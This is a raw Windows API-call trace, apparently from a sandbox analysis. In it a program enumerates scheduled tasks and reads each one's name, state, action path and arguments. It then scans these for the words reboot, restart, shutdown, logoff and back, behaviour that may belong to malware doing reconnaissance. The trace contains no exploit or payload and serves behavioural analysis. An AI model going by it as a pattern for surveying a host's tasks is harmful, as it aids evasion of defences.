	[0069.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2892950
	[0069.923] wcsstr (_Str="lpremove", _SubStr="reboot") returned 0x0
	[0069.923] wcsstr (_Str="lpremove", _SubStr="restart") returned 0x0
	[0069.924] wcsstr (_Str="lpremove", _SubStr="shutdown") returned 0x0
	[0069.924] wcsstr (_Str="lpremove", _SubStr="logoff") returned 0x0
	[0069.924] wcsstr (_Str="lpremove", _SubStr="back") returned 0x0
	[0069.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892950) returned 1
	[0069.924] IRegisteredTask:get_Definition (in: This=0x19a940, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19a9f8) returned 0x0
	[0069.935] ITaskDefinition:get_Actions (in: This=0x19a9f8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa48) returned 0x0
	[0069.935] IActionCollection:get_Count (in: This=0x19aa48, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.935] IActionCollection:get_Item (in: This=0x19aa48, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bcd0) returned 0x0
	[0069.935] IAction:get_Type (in: This=0x19bcd0, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0069.935] IUnknown:QueryInterface (in: This=0x19bcd0, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19bcd0) returned 0x0
	[0069.935] IExecAction:get_Path (in: This=0x19bcd0, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\lpremove.exe") returned 0x0
	[0069.935] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3e) returned 0x2873ba0
	[0069.935] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="reboot") returned 0x0
	[0069.935] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="restart") returned 0x0
	[0069.935] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="shutdown") returned 0x0
	[0069.935] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="logoff") returned 0x0
	[0069.935] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="back") returned 0x0
	[0069.935] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2873ba0) returned 1
	[0069.935] IExecAction:get_Arguments (in: This=0x19bcd0, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0069.935] IUnknown:Release (This=0x19bcd0) returned 0x2
	[0069.935] IUnknown:Release (This=0x19bcd0) returned 0x1
	[0069.935] IUnknown:Release (This=0x19aa48) returned 0x1
	[0069.936] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0069.936] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.936] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.936] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0069.936] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.936] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.937] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.937] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.937] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0070.040] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0070.040] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9a0) returned 0x0
	[0070.040] IRegisteredTask:get_Name (in: This=0x19a9a0, pName=0x43af860 | out: pName=0x43af860*="SystemSoundsService") returned 0x0
	[0070.040] IRegisteredTask:get_State (in: This=0x19a9a0, pState=0x43af864 | out: pState=0x43af864*=4) returned 0x0
	[0070.044] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2878278
	[0070.044] wcsstr (_Str="systemsoundsservice", _SubStr="reboot") returned 0x0
	[0070.044] wcsstr (_Str="systemsoundsservice", _SubStr="restart") returned 0x0
	[0070.044] wcsstr (_Str="systemsoundsservice", _SubStr="shutdown") returned 0x0
	[0070.044] wcsstr (_Str="systemsoundsservice", _SubStr="logoff") returned 0x0
	[0070.044] wcsstr (_Str="systemsoundsservice", _SubStr="back") returned 0x0
	[0070.044] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878278) returned 1
	[0070.044] IRegisteredTask:get_Definition (in: This=0x19a9a0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aa88) returned 0x0
	[0070.065] ITaskDefinition:get_Actions (in: This=0x19aa88, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aad8) returned 0x0
	[0070.065] IActionCollection:get_Count (in: This=0x19aad8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0070.065] IActionCollection:get_Item (in: This=0x19aad8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bd28) returned 0x0
	[0070.065] IAction:get_Type (in: This=0x19bd28, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0070.065] IUnknown:Release (This=0x19bd28) returned 0x1
	[0070.065] IUnknown:Release (This=0x19aad8) returned 0x1
	[0070.065] IUnknown:Release (This=0x19aa88) returned 0x0
	[0070.066] IUnknown:Release (This=0x19a9a0) returned 0x0
	[0070.066] IUnknown:Release (This=0x19a940) returned 0x0
	[0070.066] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0070.067] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0070.067] IUnknown:Release (This=0x19a940) returned 0x0
	[0070.067] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0070.067] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0070.067] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b598) returned 0x0
	[0070.213] IRegisteredTaskCollection:get_Count (in: This=0x19b598, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0070.213] IRegisteredTaskCollection:get_Item (in: This=0x19b598, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a988) returned 0x0
	[0070.214] IRegisteredTask:get_Name (in: This=0x19a988, pName=0x43af860 | out: pName=0x43af860*="GatherNetworkInfo") returned 0x0
	[0070.214] IRegisteredTask:get_State (in: This=0x19a988, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0070.218] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x28781e8
	[0070.218] wcsstr (_Str="gathernetworkinfo", _SubStr="reboot") returned 0x0
	[0070.218] wcsstr (_Str="gathernetworkinfo", _SubStr="restart") returned 0x0
	[0070.218] wcsstr (_Str="gathernetworkinfo", _SubStr="shutdown") returned 0x0
	[0070.218] wcsstr (_Str="gathernetworkinfo", _SubStr="logoff") returned 0x0
	[0070.218] wcsstr (_Str="gathernetworkinfo", _SubStr="back") returned 0x0
	[0070.218] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28781e8) returned 1
	[0070.218] IRegisteredTask:get_Definition (in: This=0x19a988, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19a9f8) returned 0x0
	[0070.353] ITaskDefinition:get_Actions (in: This=0x19a9f8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa48) returned 0x0
	[0070.353] IActionCollection:get_Count (in: This=0x19aa48, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0070.353] IActionCollection:get_Item (in: This=0x19aa48, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ab00) returned 0x0
	[0070.354] IAction:get_Type (in: This=0x19ab00, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0070.354] IUnknown:QueryInterface (in: This=0x19ab00, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19ab00) returned 0x0
	[0070.354] IExecAction:get_Path (in: This=0x19ab00, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\gatherNetworkInfo.vbs") returned 0x0
	[0070.354] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x50) returned 0x285a838
	[0070.354] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="reboot") returned 0x0
	[0070.354] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="restart") returned 0x0
	[0070.354] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="shutdown") returned 0x0
	[0070.354] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="logoff") returned 0x0
	[0070.354] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="back") returned 0x0
	[0070.354] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x285a838) returned 1
	[0070.354] IExecAction:get_Arguments (in: This=0x19ab00, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0070.354] IUnknown:Release (This=0x19ab00) returned 0x2
	[0070.354] IUnknown:Release (This=0x19ab00) returned 0x1
	[0070.354] IUnknown:Release (This=0x19aa48) returned 0x1
	[0070.354] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0070.354] IUnknown:Release (This=0x19a988) returned 0x0
	[0070.354] IUnknown:Release (This=0x19b598) returned 0x0
	[0070.354] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b598) returned 0x0
	[0070.355] ITaskFolderCollection:get_Count (in: This=0x19b598, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0070.355] IUnknown:Release (This=0x19b598) returned 0x0
	[0070.355] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0070.355] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0070.355] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b598) returned 0x0
	[0070.502] IRegisteredTaskCollection:get_Count (in: This=0x19b598, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0070.502] IUnknown:Release (This=0x19b598) returned 0x0
	[0070.502] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b598) returned 0x0
	[0070.503] ITaskFolderCollection:get_Count (in: This=0x19b598, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0070.503] IUnknown:Release (This=0x19b598) returned 0x0
	[0070.503] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0070.503] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2d, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0070.503] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0070.504] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0070.504] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9f8) returned 0x0
	[0070.505] IRegisteredTask:get_Name (in: This=0x19a9f8, pName=0x43af860 | out: pName=0x43af860*="Background Synchronization") returned 0x0
	[0070.505] IRegisteredTask:get_State (in: This=0x19a9f8, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0070.505] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0070.505] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9f8) returned 0x0
	[0070.505] IRegisteredTask:get_Name (in: This=0x19a9f8, pName=0x43af860 | out: pName=0x43af860*="Logon Synchronization") returned 0x0
	[0070.505] IRegisteredTask:get_State (in: This=0x19a9f8, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0070.506] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0070.506] IUnknown:Release (This=0x19a940) returned 0x0
	[0070.506] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0070.506] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0070.506] IUnknown:Release (This=0x19a940) returned 0x0
	[0070.506] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0070.507] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0070.507] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0070.508] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0070.508] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a940) returned 0x0
	[0070.508] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af860 | out: pName=0x43af860*="Secure-Boot-Update") returned 0x0
	[0070.508] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0070.508] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877e28
	[0070.508] wcsstr (_Str="secure-boot-update", _SubStr="reboot") returned 0x0
	[0070.508] wcsstr (_Str="secure-boot-update", _SubStr="restart") returned 0x0
	[0070.508] wcsstr (_Str="secure-boot-update", _SubStr="shutdown") returned 0x0
	[0070.508] wcsstr (_Str="secure-boot-update", _SubStr="logoff") returned 0x0
	[0070.508] wcsstr (_Str="secure-boot-update", _SubStr="back") returned 0x0
	[0070.508] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e28) returned 1
	[0070.508] IRegisteredTask:get_Definition (in: This=0x19a940, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19a9b0) returned 0x0
	[0070.675] ITaskDefinition:get_Actions (in: This=0x19a9b0, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa00) returned 0x0
	[0070.675] IActionCollection:get_Count (in: This=0x19aa00, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0070.675] IActionCollection:get_Item (in: This=0x19aa00, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bd30) returned 0x0
	[0070.675] IAction:get_Type (in: This=0x19bd30, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0070.675] IUnknown:Release (This=0x19bd30) returned 0x1
	[0070.675] IUnknown:Release (This=0x19aa00) returned 0x1
	[0070.675] IUnknown:Release (This=0x19a9b0) returned 0x0
	[0070.675] IUnknown:Release (This=0x19a940) returned 0x0
	[0070.675] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a940) returned 0x0
	[0070.675] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af860 | out: pName=0x43af860*="Sqm-Tasks") returned 0x0
	[0070.675] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0070.675] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28927b0
	[0070.675] wcsstr (_Str="sqm-tasks", _SubStr="reboot") returned 0x0
	[0070.675] wcsstr (_Str="sqm-tasks", _SubStr="restart") returned 0x0
	[0070.675] wcsstr (_Str="sqm-tasks", _SubStr="shutdown") returned 0x0
	[0070.675] wcsstr (_Str="sqm-tasks", _SubStr="logoff") returned 0x0
	[0070.676] wcsstr (_Str="sqm-tasks", _SubStr="back") returned 0x0
	[0070.676] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927b0) returned 1
	[0070.676] IRegisteredTask:get_Definition (in: This=0x19a940, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19a9f8) returned 0x0
	[0070.862] ITaskDefinition:get_Actions (in: This=0x19a9f8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa48) returned 0x0
	[0070.862] IActionCollection:get_Count (in: This=0x19aa48, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0070.862] IActionCollection:get_Item (in: This=0x19aa48, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bcd0) returned 0x0
	[0070.862] IAction:get_Type (in: This=0x19bcd0, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0070.862] IUnknown:Release (This=0x19bcd0) returned 0x1
	[0070.862] IUnknown:Release (This=0x19aa48) returned 0x1
	[0070.862] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0070.862] IUnknown:Release (This=0x19a940) returned 0x0
	[0070.862] IUnknown:Release (This=0x19b558) returned 0x0
	[0070.862] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0070.863] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0070.863] IUnknown:Release (This=0x19b558) returned 0x0
	[0070.863] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0070.863] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0070.863] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0070.864] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0070.864] IUnknown:Release (This=0x19b558) returned 0x0
	[0070.864] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0070.865] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=1) returned 0x0
	[0070.865] ITaskFolderCollection:get_Item (in: This=0x19b558, index=0x43af884*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x43af8ac | out: ppFolder=0x43af8ac*=0x19a940) returned 0x0
	[0070.865] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af84c | out: ppTasks=0x43af84c*=0x19a9d8) returned 0x0
	[0070.865] IRegisteredTaskCollection:get_Count (in: This=0x19a9d8, pCount=0x43af828 | out: pCount=0x43af828*=0) returned 0x0
	[0070.865] IUnknown:Release (This=0x19a9d8) returned 0x0
	[0070.865] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af888 | out: ppFolders=0x43af888*=0x19a9d8) returned 0x0
	[0070.866] ITaskFolderCollection:get_Count (in: This=0x19a9d8, pCount=0x43af87c | out: pCount=0x43af87c*=0) returned 0x0
	[0070.866] IUnknown:Release (This=0x19a9d8) returned 0x0
	[0070.866] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0070.866] IUnknown:Release (This=0x19b558) returned 0x0
	[0070.866] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0070.866] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x30, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0070.866] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0070.868] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0070.868] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9f8) returned 0x0
	[0070.868] IRegisteredTask:get_Name (in: This=0x19a9f8, pName=0x43af860 | out: pName=0x43af860*="Plug and Play Cleanup") returned 0x0
	[0070.868] IRegisteredTask:get_State (in: This=0x19a9f8, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0070.868] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881c20
	[0070.869] wcsstr (_Str="plug and play cleanup", _SubStr="reboot") returned 0x0
	[0070.869] wcsstr (_Str="plug and play cleanup", _SubStr="restart") returned 0x0
	[0070.869] wcsstr (_Str="plug and play cleanup", _SubStr="shutdown") returned 0x0
	[0070.869] wcsstr (_Str="plug and play cleanup", _SubStr="logoff") returned 0x0
	[0070.869] wcsstr (_Str="plug and play cleanup", _SubStr="back") returned 0x0
	[0070.869] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881c20) returned 1
	[0070.869] IRegisteredTask:get_Definition (in: This=0x19a9f8, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b5a8) returned 0x0
	[0071.183] ITaskDefinition:get_Actions (in: This=0x19b5a8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aae0) returned 0x0
	[0071.183] IActionCollection:get_Count (in: This=0x19aae0, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0071.183] IActionCollection:get_Item (in: This=0x19aae0, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bcd0) returned 0x0
	[0071.183] IAction:get_Type (in: This=0x19bcd0, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0071.183] IUnknown:Release (This=0x19bcd0) returned 0x1
	[0071.183] IUnknown:Release (This=0x19aae0) returned 0x1
	[0071.183] IUnknown:Release (This=0x19b5a8) returned 0x0
	[0071.183] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0071.183] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9f8) returned 0x0
	[0071.183] IRegisteredTask:get_Name (in: This=0x19a9f8, pName=0x43af860 | out: pName=0x43af860*="Sysprep Generalize Drivers") returned 0x0
	[0071.183] IRegisteredTask:get_State (in: This=0x19a9f8, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0071.183] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x36) returned 0x286fc08
	[0071.183] wcsstr (_Str="sysprep generalize drivers", _SubStr="reboot") returned 0x0
	[0071.183] wcsstr (_Str="sysprep generalize drivers", _SubStr="restart") returned 0x0
	[0071.183] wcsstr (_Str="sysprep generalize drivers", _SubStr="shutdown") returned 0x0
	[0071.184] wcsstr (_Str="sysprep generalize drivers", _SubStr="logoff") returned 0x0
	[0071.184] wcsstr (_Str="sysprep generalize drivers", _SubStr="back") returned 0x0
	[0071.184] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fc08) returned 1
	[0071.184] IRegisteredTask:get_Definition (in: This=0x19a9f8, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b5a8) returned 0x0
	[0071.194] ITaskDefinition:get_Actions (in: This=0x19b5a8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa68) returned 0x0
	[0071.194] IActionCollection:get_Count (in: This=0x19aa68, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0071.194] IActionCollection:get_Item (in: This=0x19aa68, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ab20) returned 0x0
	[0071.194] IAction:get_Type (in: This=0x19ab20, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0071.194] IUnknown:QueryInterface (in: This=0x19ab20, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19ab20) returned 0x0
	[0071.194] IExecAction:get_Path (in: This=0x19ab20, pPath=0x43af85c | out: pPath=0x43af85c*="%SystemRoot%\\System32\\drvinst.exe") returned 0x0
	[0071.194] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x44) returned 0x28946a0
	[0071.194] wcsstr (_Str="%systemroot%\\system32\\drvinst.exe", _SubStr="reboot") returned 0x0
	[0071.194] wcsstr (_Str="%systemroot%\\system32\\drvinst.exe", _SubStr="restart") returned 0x0
	[0071.194] wcsstr (_Str="%systemroot%\\system32\\drvinst.exe", _SubStr="shutdown") returned 0x0
	[0071.194] wcsstr (_Str="%systemroot%\\system32\\drvinst.exe", _SubStr="logoff") returned 0x0
	[0071.194] wcsstr (_Str="%systemroot%\\system32\\drvinst.exe", _SubStr="back") returned 0x0
	[0071.194] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28946a0) returned 1
	[0071.194] IExecAction:get_Arguments (in: This=0x19ab20, pArgument=0x43af858 | out: pArgument=0x43af858*="6") returned 0x0
	[0071.194] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x28b97a8
	[0071.194] wcsstr (_Str="6", _SubStr="reboot") returned 0x0
	[0071.194] wcsstr (_Str="6", _SubStr="restart") returned 0x0
	[0071.194] wcsstr (_Str="6", _SubStr="shutdown") returned 0x0
	[0071.194] wcsstr (_Str="6", _SubStr="logoff") returned 0x0
	[0071.194] wcsstr (_Str="6", _SubStr="back") returned 0x0
	[0071.194] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28b97a8) returned 1
	[0071.194] IUnknown:Release (This=0x19ab20) returned 0x2
	[0071.194] IUnknown:Release (This=0x19ab20) returned 0x1
	[0071.194] IUnknown:Release (This=0x19aa68) returned 0x1
	[0071.194] IUnknown:Release (This=0x19b5a8) returned 0x0
	[0071.194] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0071.194] IUnknown:Release (This=0x19a940) returned 0x0
	[0071.194] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
